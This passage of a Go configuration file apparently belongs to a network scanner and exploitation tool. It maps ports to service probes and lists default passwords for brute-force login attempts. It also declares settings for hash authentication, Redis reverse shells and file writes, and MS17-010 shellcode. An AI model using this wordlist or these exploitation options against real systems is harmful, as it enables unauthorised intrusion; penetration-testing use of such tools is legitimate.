449: {"GenericLines"},
465: {"Hello", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
497: {"GetRequest", "X11Probe"},
500: {"OpenVPN"},
505: {"GenericLines", "GetRequest"},
510: {"GenericLines"},
512: {"DNSVersionBindReqTCP"},
513: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
514: {"GetRequest", "RPCCheck", "DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
515: {"GetRequest", "Help", "LPDString", "TerminalServer"},
523: {"ibm-db2-das", "ibm-db2"},
524: {"NCP"},
540: {"GenericLines", "GetRequest"},
543: {"DNSVersionBindReqTCP"},
544: {"RPCCheck", "DNSVersionBindReqTCP"},
548: {"SSLSessionReq", "SSLv23SessionReq", "afp"},
554: {"GetRequest", "RTSPRequest"},
563: {"SSLSessionReq"},
585: {"SSLSessionReq"},
587: {"GenericLines", "Hello", "Help"},
591: {"GetRequest"},
616: {"GenericLines"},
620: {"GetRequest"},
623: {"tn3270"},
628: {"GenericLines", "DNSVersionBindReqTCP"},
631: {"GetRequest", "HTTPOptions"},
636: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "LDAPSearchReq", "LDAPBindReq"},
637: {"LDAPSearchReq", "LDAPBindReq"},
641: {"HTTPOptions"},
660: {"SMBProgNeg"},
666: {"GenericLines", "beast2"},
684: {"SSLSessionReq"},
706: {"JavaRMI", "mydoom", "WWWOFFLEctrlstat"},
710: {"RPCCheck"},
711: {"RPCCheck"},
731: {"GenericLines"},
771: {"GenericLines"},
782: {"GenericLines"},
783: {"GetRequest"},
853: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP", "SSLSessionReq"},
888: {"GetRequest"},
898: {"GetRequest"},
900: {"GetRequest"},
901: {"GetRequest"},
989: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
990: {"GenericLines", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
992: {"GenericLines", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "tn3270"},
993: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
994: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
995: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
999: {"JavaRMI"},
1000: {"GenericLines"},
1010: {"GenericLines"},
1025: {"SMBProgNeg"},
1026: {"GetRequest"},
1027: {"SMBProgNeg"},
1028: {"TerminalServer"},
1029: {"DNSVersionBindReqTCP"},
1030: {"JavaRMI"},
1031: {"SMBProgNeg"},
1035: {"JavaRMI", "oracle-tns"},
1040: {"GenericLines"},
1041: {"GenericLines"},
1042: {"GenericLines", "GetRequest"},
1043: {"GenericLines"},
1068: {"TerminalServer"},
1080: {"GenericLines", "GetRequest", "Socks5", "Socks4"},
1090: {"JavaRMI", "Socks5", "Socks4"},
1095: {"Socks5", "Socks4"},
1098: {"JavaRMI"},
1099: {"JavaRMI"},
1100: {"JavaRMI", "Socks5", "Socks4"},
1101: {"JavaRMI"},
1102: {"JavaRMI"},
1103: {"JavaRMI"},
1105: {"Socks5", "Socks4"},
1109: {"Socks5", "Socks4"},
1111: {"Help"},
1112: {"SMBProgNeg"},
1129: {"JavaRMI"},
1194: {"OpenVPN"},
1199: {"JavaRMI"},
1200: {"NCP"},
1212: {"GenericLines"},
1214: {"GetRequest"},
1217: {"NCP"},
1220: {"GenericLines", "GetRequest"},
1234: {"GetRequest", "JavaRMI"},
1241: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "NessusTPv12", "NessusTPv12", "NessusTPv11", "NessusTPv11", "NessusTPv10", "NessusTPv10"},
1248: {"GenericLines"},
1302: {"GenericLines"},
1311: {"GetRequest", "Help", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
1314: {"GetRequest"},
1344: {"GetRequest"},
1352: {"NotesRPC"},
1400: {"GenericLines"},
1414: {"ibm-mqseries"},
1415: {"ibm-mqseries"},
1416: {"ibm-mqseries"},
1417: {"ibm-mqseries"},
1418: {"ibm-mqseries"},
1419: {"ibm-mqseries"},
1420: {"ibm-mqseries"},
1432: {"GenericLines"},
1433: {"ms-sql-s", "RPCCheck"},
1440: {"JavaRMI"},
1443: {"GetRequest", "SSLSessionReq"},
1467: {"GenericLines"},
1500: {"Verifier"},
1501: {"GenericLines", "VerifierAdvanced"},
1503: {"GetRequest", "TerminalServer"},
1505: {"GenericLines"},
1521: {"oracle-tns"},
1522: {"oracle-tns"},
1525: {"oracle-tns"},
1526: {"oracle-tns", "informix", "drda"},
1527: {"drda"},
1549: {"WMSRequest"},
1550: {"X11Probe"},
1574: {"oracle-tns"},
1583: {"pervasive-relational", "pervasive-btrieve"},
1599: {"LibreOfficeImpressSCPair"},
1610: {"GetRequest"},
1611: {"GetRequest"},
1666: {"GenericLines"},
1687: {"GenericLines"},
1688: {"GenericLines"},
1702: {"LDAPSearchReq", "LDAPBindReq"},
1720: {"TerminalServer"},
1748: {"oracle-tns"},
1754: {"oracle-tns"},
1755: {"WMSRequest"},
1761: {"LANDesk-RC"},
1762: {"LANDesk-RC"},
1763: {"LANDesk-RC"},
1830: {"GetRequest"},
1883: {"mqtt"},
1900: {"GetRequest"},
1911: {"niagara-fox"},
1935: {"TerminalServer"},
1962: {"pcworx"},
1972: {"NotesRPC"},
1981: {"JavaRMI"},
2000: {"SSLSessionReq", "SSLv23SessionReq", "NCP"},
2001: {"GetRequest"},
2002: {"GetRequest", "X11Probe"},
2010: {"GenericLines"},
2023: {"tn3270"},
2024: {"GenericLines"},
2030: {"GetRequest"},
2040: {"TerminalServer"},
2049: {"RPCCheck"},
2050: {"dominoconsole"},
2064: {"GetRequest"},
2068: {"DNSVersionBindReqTCP"},
2100: {"FourOhFourRequest"},
2105: {"DNSVersionBindReqTCP"},
2160: {"GetRequest"},
2181: {"Memcache"},
2199: {"JavaRMI"},
2221: {"SSLSessionReq"},
2252: {"TLSSessionReq", "SSLSessionReq", "NJE"},
2301: {"HTTPOptions"},
2306: {"GetRequest"},
2323: {"tn3270"},
2375: {"docker"},
2376: {"SSLSessionReq", "docker"},
2379: {"docker"},
2380: {"docker"},
2396: {"GetRequest"},
2401: {"Help"},
2443: {"SSLSessionReq"},
2481: {"giop"},
2482: {"giop"},
2525: {"GetRequest"},
2600: {"GenericLines"},
2627: {"Help"},
2701: {"LANDesk-RC"},
2715: {"GetRequest"},
2809: {"JavaRMI"},
2869: {"GetRequest"},
2947: {"LPDString"},
2967: {"DNSVersionBindReqTCP"},
3000: {"GenericLines", "GetRequest", "Help", "NCP"},
3001: {"NCP"},
3002: {"GetRequest", "NCP"},
3003: {"NCP"},
3004: {"NCP"},
3005: {"GenericLines", "NCP"},
3006: {"SMBProgNeg", "NCP"},
3025: {"Hello"},
3031: {"NCP"},
3050: {"firebird"},
3052: {"GetRequest", "RTSPRequest"},
3127: {"mydoom"},
3128: {"GenericLines", "GetRequest", "HTTPOptions", "mydoom", "Socks5", "Socks4"},
3129: {"mydoom"},
3130: {"mydoom"},
3131: {"mydoom"},
3132: {"mydoom"},
3133: {"mydoom"},
3134: {"mydoom"},
3135: {"mydoom"},
3136: {"mydoom"},
3137: {"mydoom"},
3138: {"mydoom"},
3139: {"mydoom"},
3140: {"mydoom"},
3141: {"mydoom"},
3142: {"mydoom"},
3143: {"mydoom"},
3144: {"mydoom"},
3145: {"mydoom"},
3146: {"mydoom"},
3147: {"mydoom"},
3148: {"mydoom"},
3149: {"mydoom"},
3150: {"mydoom"},
3151: {"mydoom"},
3152: {"mydoom"},
3153: {"mydoom"},
3154: {"mydoom"},
3155: {"mydoom"},
3156: {"mydoom"},
3157: {"mydoom"},
3158: {"mydoom"},
3159: {"mydoom"},
3160: {"mydoom"},
3161: {"mydoom"},
3162: {"mydoom"},
3163: {"mydoom"},
3164: {"mydoom"},
3165: {"mydoom"},
3166: {"mydoom"},
3167: {"mydoom"},
3168: {"mydoom"},
3169: {"mydoom"},
3170: {"mydoom"},
3171: {"mydoom"},
3172: {"mydoom"},
3173: {"mydoom"},
3174: {"mydoom"},
3175: {"mydoom"},
3176: {"mydoom"},
3177: {"mydoom"},
3178: {"mydoom"},
3179: {"mydoom"},
3180: {"mydoom"},
3181: {"mydoom"},
3182: {"mydoom"},
3183: {"mydoom"},
3184: {"mydoom"},
3185: {"mydoom"},
3186: {"mydoom"},
3187: {"mydoom"},
3188: {"mydoom"},
3189: {"mydoom"},
3190: {"mydoom"},
3191: {"mydoom"},
3192: {"mydoom"},
3193: {"mydoom"},
3194: {"mydoom"},
3195: {"mydoom"},
3196: {"mydoom"},
3197: {"mydoom"},
3198: {"mydoom"},
3268: {"LDAPSearchReq", "LDAPBindReq"},
3269: {"LDAPSearchReq", "LDAPBindReq"},
3273: {"JavaRMI"},
3280: {"GetRequest"},
3310: {"GenericLines", "VersionRequest"},
3333: {"GenericLines", "LPDString", "JavaRMI", "kumo-server"},
3351: {"pervasive-relational", "pervasive-btrieve"},
3372: {"GetRequest", "RTSPRequest"},
3388: {"TLSSessionReq", "TerminalServerCookie", "TerminalServer"},
3389: {"TerminalServerCookie", "TerminalServer", "TLSSessionReq"},
3443: {"GetRequest", "SSLSessionReq"},
3493: {"Help"},
3531: {"GetRequest"},
3632: {"DistCCD"},
3689: {"GetRequest"},
3790: {"metasploit-msgrpc"},
3872: {"GetRequest"},
3892: {"LDAPSearchReq", "LDAPBindReq"},
3900: {"SMBProgNeg", "JavaRMI"},
3940: {"GenericLines"},
4000: {"GetRequest", "NoMachine"},
4035: {"LDAPBindReq", "LDAPBindReq"},
4045: {"RPCCheck"},
4155: {"GenericLines"},
4369: {"epmd"},
4433: {"TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
4443: {"GetRequest", "HTTPOptions", "SSLSessionReq", "FourOhFourRequest"},
4444: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq"},
4533: {"rotctl"},
4567: {"GetRequest"},
4660: {"GetRequest"},
4711: {"GetRequest", "piholeVersion"},
4899: {"Radmin"},
4911: {"SSLSessionReq", "niagara-fox"},
4999: {"RPCCheck"},
5000: {"GenericLines", "GetRequest", "RTSPRequest", "DNSVersionBindReqTCP", "SMBProgNeg", "ZendJavaBridge"},
5001: {"WMSRequest", "ZendJavaBridge"},
5002: {"ZendJavaBridge"},
5009: {"SMBProgNeg"},
5060: {"GetRequest", "SIPOptions"},
5061: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "SIPOptions"},
5201: {"iperf3"},
5222: {"GetRequest"},
5232: {"HTTPOptions"},
5269: {"GetRequest"},
5280: {"GetRequest"},
5302: {"X11Probe"},
5323: {"DNSVersionBindReqTCP"},
5400: {"GenericLines"},
5427: {"GetRequest"},
5432: {"GenericLines", "GetRequest", "SMBProgNeg"},
5443: {"SSLSessionReq"},
5520: {"DNSVersionBindReqTCP", "JavaRMI"},
5521: {"JavaRMI"},
5530: {"DNSVersionBindReqTCP"},
5550: {"SSLSessionReq", "SSLv23SessionReq"},
5555: {"GenericLines", "DNSVersionBindReqTCP", "SMBProgNeg", "adbConnect"},
5556: {"DNSVersionBindReqTCP"},
5570: {"GenericLines"},
5580: {"JavaRMI"},
5600: {"SMBProgNeg"},
5701: {"hazelcast-http"},
5702: {"hazelcast-http"},
5703: {"hazelcast-http"},
5704: {"hazelcast-http"},
5705: {"hazelcast-http"},
5706: {"hazelcast-http"},
5707: {"hazelcast-http"},
5708: {"hazelcast-http"},
5709: {"LANDesk-RC", "hazelcast-http"},
5800: {"GetRequest"},
5801: {"GetRequest"},
5802: {"GetRequest"},
5803: {"GetRequest"},
5868: {"SSLSessionReq"},
5900: {"GetRequest"},
5985: {"GetRequest"},
5986: {"GetRequest", "SSLSessionReq"},
5999: {"JavaRMI"},
6000: {"HTTPOptions", "X11Probe"},
6001: {"X11Probe"},
6002: {"X11Probe"},
6003: {"X11Probe"},
6004: {"X11Probe"},
6005: {"X11Probe"},
6006: {"X11Probe"},
6007: {"X11Probe"},
6008: {"X11Probe"},
6009: {"X11Probe"},
6010: {"X11Probe"},
6011: {"X11Probe"},
6012: {"X11Probe"},
6013: {"X11Probe"},
6014: {"X11Probe"},
6015: {"X11Probe"},
6016: {"X11Probe"},
6017: {"X11Probe"},
6018: {"X11Probe"},
6019: {"X11Probe"},
6020: {"X11Probe"},
6050: {"DNSStatusRequestTCP"},
6060: {"JavaRMI"},
6103: {"GetRequest"},
6112: {"GenericLines"},
6163: {"HELP4STOMP"},
6251: {"SSLSessionReq"},
6346: {"GetRequest"},
6379: {"redis-server"},
6432: {"GenericLines"},
6443: {"SSLSessionReq"},
6543: {"DNSVersionBindReqTCP"},
6544: {"GetRequest"},
6560: {"Help"},
6588: {"Socks5", "Socks4"},
6600: {"GetRequest"},
6660: {"Socks5", "Socks4"},
6661: {"Socks5", "Socks4"},
6662: {"Socks5", "Socks4"},
6663: {"Socks5", "Socks4"},
6664: {"Socks5", "Socks4"},
6665: {"Socks5", "Socks4"},
6666: {"Help", "Socks5", "Socks4", "beast2", "vp3"},
6667: {"GenericLines", "Help", "Socks5", "Socks4"},
6668: {"GenericLines", "Help", "Socks5", "Socks4"},
6669: {"GenericLines", "Help", "Socks5", "Socks4"},
6670: {"GenericLines", "Help"},
6679: {"TLSSessionReq", "SSLSessionReq"},
6697: {"TLSSessionReq", "SSLSessionReq"},
6699: {"GetRequest"},
6715: {"JMON", "JMON"},
6789: {"JavaRMI"},
6802: {"NCP"},
6969: {"GetRequest"},
6996: {"JavaRMI"},
7000: {"RPCCheck", "DNSVersionBindReqTCP", "SSLSessionReq", "X11Probe"},
7002: {"GetRequest"},
7007: {"GetRequest"},
7008: {"DNSVersionBindReqTCP"},
7070: {"GetRequest", "RTSPRequest"},
7100: {"GetRequest", "X11Probe"},
7101: {"X11Probe"},
7144: {"GenericLines"},
7145: {"GenericLines"},
7171: {"NotesRPC"},
7200: {"GenericLines"},
7210: {"SSLSessionReq", "SSLv23SessionReq"},
7272: {"SSLSessionReq", "SSLv23SessionReq"},
7402: {"GetRequest"},
7443: {"GetRequest", "SSLSessionReq"},
7461: {"SMBProgNeg"},
7700: {"JavaRMI"},
7776: {"GetRequest"},
7777: {"X11Probe", "Socks5", "Arucer"},
7780: {"GenericLines"},
7800: {"JavaRMI"},
7801: {"JavaRMI"},
7878: {"JavaRMI"},
7887: {"xmlsysd"},
7890: {"JavaRMI"},
8000: {"GenericLines", "GetRequest", "X11Probe", "FourOhFourRequest", "Socks5", "Socks4"},
8001: {"GetRequest", "FourOhFourRequest"},
8002: {"GetRequest", "FourOhFourRequest"},
8003: {"GetRequest", "FourOhFourRequest"},
8004: {"GetRequest", "FourOhFourRequest"},
8005: {"GetRequest", "FourOhFourRequest"},
8006: {"GetRequest", "FourOhFourRequest"},
8007: {"GetRequest", "FourOhFourRequest"},
8008: {"GetRequest", "FourOhFourRequest", "Socks5", "Socks4", "ajp"},
8009: {"GetRequest", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest", "ajp"},
8010: {"GetRequest", "FourOhFourRequest", "Socks5"},
8050: {"JavaRMI"},
8051: {"JavaRMI"},
8080: {"GetRequest", "HTTPOptions", "RTSPRequest", "FourOhFourRequest", "Socks5", "Socks4"},
8081: {"GetRequest", "FourOhFourRequest", "SIPOptions", "WWWOFFLEctrlstat"},
8082: {"GetRequest", "FourOhFourRequest"},
8083: {"GetRequest", "FourOhFourRequest"},
8084: {"GetRequest", "FourOhFourRequest"},
8085: {"GetRequest", "FourOhFourRequest", "JavaRMI"},
8087: {"riak-pbc"},
8088: {"GetRequest", "Socks5", "Socks4"},
8091: {"JavaRMI"},
8118: {"GetRequest"},
8138: {"GenericLines"},
8181: {"GetRequest", "SSLSessionReq"},
8194: {"SSLSessionReq", "SSLv23SessionReq"},
8205: {"JavaRMI"},
8303: {"JavaRMI"},
8307: {"RPCCheck"},
8333: {"RPCCheck"},
8443: {"GetRequest", "HTTPOptions", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "FourOhFourRequest"},
8530: {"GetRequest"},
8531: {"GetRequest", "SSLSessionReq"},
8642: {"JavaRMI"},
8686: {"JavaRMI"},
8701: {"JavaRMI"},
8728: {"NotesRPC"},
8770: {"apple-iphoto"},
8880: {"GetRequest", "FourOhFourRequest"},
8881: {"GetRequest", "FourOhFourRequest"},
8882: {"GetRequest", "FourOhFourRequest"},
8883: {"GetRequest", "TLSSessionReq", "SSLSessionReq", "FourOhFourRequest", "mqtt"},
8884: {"GetRequest", "FourOhFourRequest"},
8885: {"GetRequest", "FourOhFourRequest"},
8886: {"GetRequest", "FourOhFourRequest"},
8887: {"GetRequest", "FourOhFourRequest"},
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI", "LSCP"},
8889: {"JavaRMI"},
8890: {"JavaRMI"},
8901: {"JavaRMI"},
8902: {"JavaRMI"},
8903: {"JavaRMI"},
8999: {"JavaRMI"},
9000: {"GenericLines", "GetRequest"},
9001: {"GenericLines", "GetRequest", "TLSSessionReq", "SSLSessionReq", "SSLv23SessionReq", "JavaRMI", "Radmin", "mongodb", "tarantool", "tor-versions"},
9002: {"GenericLines", "tor-versions"},
9003: {"GenericLines", "JavaRMI"},
9004: {"JavaRMI"},
9005: {"JavaRMI"},
9030: {"GetRequest"},
9050: {"GetRequest", "JavaRMI"},
9080: {"GetRequest"},
9088: {"informix", "drda"},
9089: {"informix", "drda"},
9090: {"GetRequest", "JavaRMI", "WMSRequest", "ibm-db2-das", "SqueezeCenter_CLI", "informix", "drda"},
9091: {"informix", "drda"},
9092: {"informix", "drda"},
9093: {"informix", "drda"},
9094: {"informix", "drda"},
9095: {"informix", "drda"},
9096: {"informix", "drda"},
9097: {"informix", "drda"},
9098: {"informix", "drda"},
9099: {"JavaRMI", "informix", "drda"},
9100: {"hp-pjl", "informix", "drda"},
9101: {"hp-pjl"},
9102: {"SMBProgNeg", "hp-pjl"},
9103: {"SMBProgNeg", "hp-pjl"},
9104: {"hp-pjl"},
9105: {"hp-pjl"},
9106: {"hp-pjl"},
9107: {"hp-pjl"},
9300: {"JavaRMI"},
9390: {"metasploit-xmlrpc"},
9443: {"GetRequest", "SSLSessionReq"},
9481: {"Socks5"},
9500: {"JavaRMI"},
9711: {"JavaRMI"},
9761: {"insteonPLM"},
9801: {"GenericLines"},
9809: {"JavaRMI"},
9810: {"JavaRMI"},
9811: {"JavaRMI"},
9812: {"JavaRMI"},
9813: {"JavaRMI"},
9814: {"JavaRMI"},
9815: {"JavaRMI"},
9875: {"JavaRMI"},
9910: {"JavaRMI"},
9930: {"ibm-db2-das"},
9931: {"ibm-db2-das"},
9932: {"ibm-db2-das"},
9933: {"ibm-db2-das"},
9934: {"ibm-db2-das"},
9991: {"JavaRMI"},
9998: {"teamspeak-tcpquery-ver"},
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
10000: {"GetRequest", "HTTPOptions", "RTSPRequest"},
10001: {"GetRequest", "JavaRMI", "ZendJavaBridge"},
10002: {"ZendJavaBridge", "SharpTV"},
10003: {"ZendJavaBridge"},
10005: {"GetRequest"},
10031: {"HTTPOptions"},
10098: {"JavaRMI"},
10099: {"JavaRMI"},
10162: {"JavaRMI"},
10333: {"teamtalk-login"},
10443: {"GetRequest", "SSLSessionReq"},
10990: {"JavaRMI"},
11001: {"JavaRMI"},
11099: {"JavaRMI"},
11210: {"couchbase-data"},
11211: {"Memcache"},
11333: {"JavaRMI"},
11371: {"GenericLines", "GetRequest"},
11711: {"LDAPSearchReq"},
11712: {"LDAPSearchReq"},
11965: {"GenericLines"},
12000: {"JavaRMI"},
12345: {"Help", "OfficeScan"},
13013: {"GetRequest", "JavaRMI"},
13666: {"GetRequest"},
13720: {"GenericLines"},
13722: {"GetRequest"},
13783: {"DNSVersionBindReqTCP"},
14000: {"JavaRMI"},
14238: {"oracle-tns"},
14443: {"GetRequest", "SSLSessionReq"},
14534: {"GetRequest"},
14690: {"Help"},
15000: {"GenericLines", "GetRequest", "JavaRMI"},
15001: {"GenericLines", "JavaRMI"},
15002: {"GenericLines", "SSLSessionReq"},
15200: {"JavaRMI"},
16000: {"JavaRMI"},
17007: {"RPCCheck"},
17200: {"JavaRMI"},
17988: {"GetRequest"},
18086: {"GenericLines"},
18182: {"SMBProgNeg"},
18264: {"GetRequest"},
18980: {"JavaRMI"},
19150: {"GenericLines", "gkrellm"},
19350: {"LPDString"},
19700: {"kumo-server"},
19800: {"kumo-server"},
20000: {"JavaRMI", "oracle-tns"},
20547: {"proconos"},
22001: {"NotesRPC"},
22490: {"Help"},
23791: {"JavaRMI"},
25565: {"minecraft-ping"},
26214: {"GenericLines"},
26256: {"JavaRMI"},
26470: {"GenericLines"},
27000: {"SMBProgNeg"},
27001: {"SMBProgNeg"},
27002: {"SMBProgNeg"},
27003: {"SMBProgNeg"},
27004: {"SMBProgNeg"},
27005: {"SMBProgNeg"},
27006: {"SMBProgNeg"},
27007: {"SMBProgNeg"},
27008: {"SMBProgNeg"},
27009: {"SMBProgNeg"},
27010: {"SMBProgNeg"},
27017: {"mongodb"},
27036: {"TLS-PSK"},
30444: {"GenericLines"},
31099: {"JavaRMI"},
31337: {"GetRequest", "SIPOptions"},
31416: {"GenericLines"},
32211: {"LPDString"},
32750: {"RPCCheck"},
32751: {"RPCCheck"},
32752: {"RPCCheck"},
32753: {"RPCCheck"},
32754: {"RPCCheck"},
32755: {"RPCCheck"},
32756: {"RPCCheck"},
32757: {"RPCCheck"},
32758: {"RPCCheck"},
32759: {"RPCCheck"},
32760: {"RPCCheck"},
32761: {"RPCCheck"},
32762: {"RPCCheck"},
32763: {"RPCCheck"},
32764: {"RPCCheck"},
32765: {"RPCCheck"},
32766: {"RPCCheck"},
32767: {"RPCCheck"},
32768: {"RPCCheck"},
32769: {"RPCCheck"},
32770: {"RPCCheck"},
32771: {"RPCCheck"},
32772: {"RPCCheck"},
32773: {"RPCCheck"},
32774: {"RPCCheck"},
32775: {"RPCCheck"},
32776: {"RPCCheck"},
32777: {"RPCCheck"},
32778: {"RPCCheck"},
32779: {"RPCCheck"},
32780: {"RPCCheck"},
32781: {"RPCCheck"},
32782: {"RPCCheck"},
32783: {"RPCCheck"},
32784: {"RPCCheck"},
32785: {"RPCCheck"},
32786: {"RPCCheck"},
32787: {"RPCCheck"},
32788: {"RPCCheck"},
32789: {"RPCCheck"},
32790: {"RPCCheck"},
32791: {"RPCCheck"},
32792: {"RPCCheck"},
32793: {"RPCCheck"},
32794: {"RPCCheck"},
32795: {"RPCCheck"},
32796: {"RPCCheck"},
32797: {"RPCCheck"},
32798: {"RPCCheck"},
32799: {"RPCCheck"},
32800: {"RPCCheck"},
32801: {"RPCCheck"},
32802: {"RPCCheck"},
32803: {"RPCCheck"},
32804: {"RPCCheck"},
32805: {"RPCCheck"},
32806: {"RPCCheck"},
32807: {"RPCCheck"},
32808: {"RPCCheck"},
32809: {"RPCCheck"},
32810: {"RPCCheck"},
32913: {"JavaRMI"},
33000: {"JavaRMI"},
33015: {"tarantool"},
34012: {"GenericLines"},
37435: {"HTTPOptions"},
37718: {"JavaRMI"},
38978: {"RPCCheck"},
40193: {"GetRequest"},
41523: {"DNSStatusRequestTCP"},
44443: {"GetRequest", "SSLSessionReq"},
45230: {"JavaRMI"},
47001: {"JavaRMI"},
47002: {"JavaRMI"},
49152: {"FourOhFourRequest"},
49153: {"mongodb"},
49400: {"HTTPOptions"},
50000: {"GetRequest", "ibm-db2-das", "ibm-db2", "drda"},
50001: {"ibm-db2"},
50002: {"ibm-db2"},
50003: {"ibm-db2"},
50004: {"ibm-db2"},
50005: {"ibm-db2"},
50006: {"ibm-db2"},
50007: {"ibm-db2"},
50008: {"ibm-db2"},
50009: {"ibm-db2"},
50010: {"ibm-db2"},
50011: {"ibm-db2"},
50012: {"ibm-db2"},
50013: {"ibm-db2"},
50014: {"ibm-db2"},
50015: {"ibm-db2"},
50016: {"ibm-db2"},
50017: {"ibm-db2"},
50018: {"ibm-db2"},
50019: {"ibm-db2"},
50020: {"ibm-db2"},
50021: {"ibm-db2"},
50022: {"ibm-db2"},
50023: {"ibm-db2"},
50024: {"ibm-db2"},
50025: {"ibm-db2"},
50050: {"JavaRMI"},
50500: {"JavaRMI"},
50501: {"JavaRMI"},
50502: {"JavaRMI"},
50503: {"JavaRMI"},
50504: {"JavaRMI"},
50505: {"metasploit-msgrpc"},
51234: {"teamspeak-tcpquery-ver"},
55552: {"metasploit-msgrpc"},
55553: {"metasploit-xmlrpc", "metasploit-xmlrpc"},
55555: {"GetRequest"},
56667: {"GenericLines"},
59100: {"kumo-server"},
60000: {"ibm-db2", "drda"},
60001: {"ibm-db2"},
60002: {"ibm-db2"},
60003: {"ibm-db2"},
60004: {"ibm-db2"},
60005: {"ibm-db2"},
60006: {"ibm-db2"},
60007: {"ibm-db2"},
60008: {"ibm-db2"},
60009: {"ibm-db2"},
60010: {"ibm-db2"},
60011: {"ibm-db2"},
60012: {"ibm-db2"},
60013: {"ibm-db2"},
60014: {"ibm-db2"},
60015: {"ibm-db2"},
60016: {"ibm-db2"},
60017: {"ibm-db2"},
60018: {"ibm-db2"},
60019: {"ibm-db2"},
60020: {"ibm-db2"},
60021: {"ibm-db2"},
60022: {"ibm-db2"},
60023: {"ibm-db2"},
60024: {"ibm-db2"},
60025: {"ibm-db2"},
60443: {"GetRequest", "SSLSessionReq"},
61613: {"HELP4STOMP"},
}
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "Password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"}
var (
Outputfile string // 输出文件路径
OutputFormat string // 输出格式
)
// 添加一个全局的进度条变量
var ProgressBar *progressbar.ProgressBar
// 添加一个全局互斥锁来控制输出
var OutputMutex sync.Mutex
type PocInfo struct {
Target string
PocName string
}
var (
// =========================================================
// 扫描目标配置
// =========================================================
Ports string // 要扫描的端口列表,如"80,443,8080"
ExcludePorts string // 要排除的端口列表
ExcludeHosts string // 要排除的主机列表
AddPorts string // 额外添加的端口列表
HostPort []string // 主机:端口格式的目标列表
// =========================================================
// 认证与凭据配置
// =========================================================
Username string // 用于认证的用户名
Password string // 用于认证的密码
AddUsers string // 额外添加的用户名列表
AddPasswords string // 额外添加的密码列表
// 特定服务认证
Domain string // Active Directory/SMB域名
HashValue string // 用于哈希认证的单个哈希值
HashValues []string // 哈希值列表
HashBytes [][]byte // 二进制格式的哈希值列表
HashFile string // 包含哈希值的文件路径
SshKeyPath string // SSH私钥文件路径
// =========================================================
// 扫描控制配置
// =========================================================
ScanMode string // 扫描模式或指定的插件列表
ThreadNum int // 并发扫描线程数
ModuleThreadNum int // 模块内部线程数
Timeout int64 // 单个扫描操作超时时间(秒)
GlobalTimeout int64 // 整体扫描超时时间(秒)
LiveTop int // 显示的存活主机排名数量
DisablePing bool // 是否禁用主机存活性检测
UsePing bool // 是否使用ICMP Ping检测主机存活
EnableFingerprint bool // 是否跳过服务指纹识别
LocalMode bool // 是否启用本地信息收集模式
// =========================================================
// 输入文件配置
// =========================================================
HostsFile string // 包含目标主机的文件路径
UsersFile string // 包含用户名列表的文件路径
PasswordsFile string // 包含密码列表的文件路径
PortsFile string // 包含端口列表的文件路径
// =========================================================
// Web扫描配置
// =========================================================
TargetURL string // 单个目标URL
URLsFile string // 包含URL列表的文件路径
URLs []string // 解析后的URL目标列表
WebTimeout int64 // Web请求超时时间(秒),默认5秒
HttpProxy string // HTTP代理地址
Socks5Proxy string // SOCKS5代理地址
// =========================================================
// POC与漏洞利用配置
// =========================================================
// POC配置
PocPath string // POC脚本路径
Pocinfo PocInfo // POC详细信息结构
DisablePocScan bool //nopoc
// Redis利用
RedisFile string // Redis利用目标文件
RedisShell string // Redis反弹Shell命令
DisableRedis bool // 是否禁用Redis利用测试
RedisWritePath string // Redis文件写入路径
RedisWriteContent string // Redis文件写入内容
RedisWriteFile string // Redis写入的源文件
// 其他漏洞利用
Shellcode string // 用于MS17010等漏洞利用的Shellcode
// =========================================================
// 暴力破解控制
// =========================================================
DisableBrute bool // 是否禁用暴力破解模块
MaxRetries int // 连接失败最大重试次数
// =========================================================
// 输出与显示配置
// =========================================================
DisableSave bool // 是否禁止保存扫描结果
Silent bool // 是否启用静默模式
NoColor bool // 是否禁用彩色输出
LogLevel string // 日志输出级别
ShowProgress bool // 是否显示进度条
ShowScanPlan bool // 是否显示扫描计划详情
SlowLogOutput bool // 是否启用慢速日志输出
Language string // 界面语言设置
)
var (
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
DnsLog bool
PocNum int
PocFull bool
Cookie string
)
+220
View File
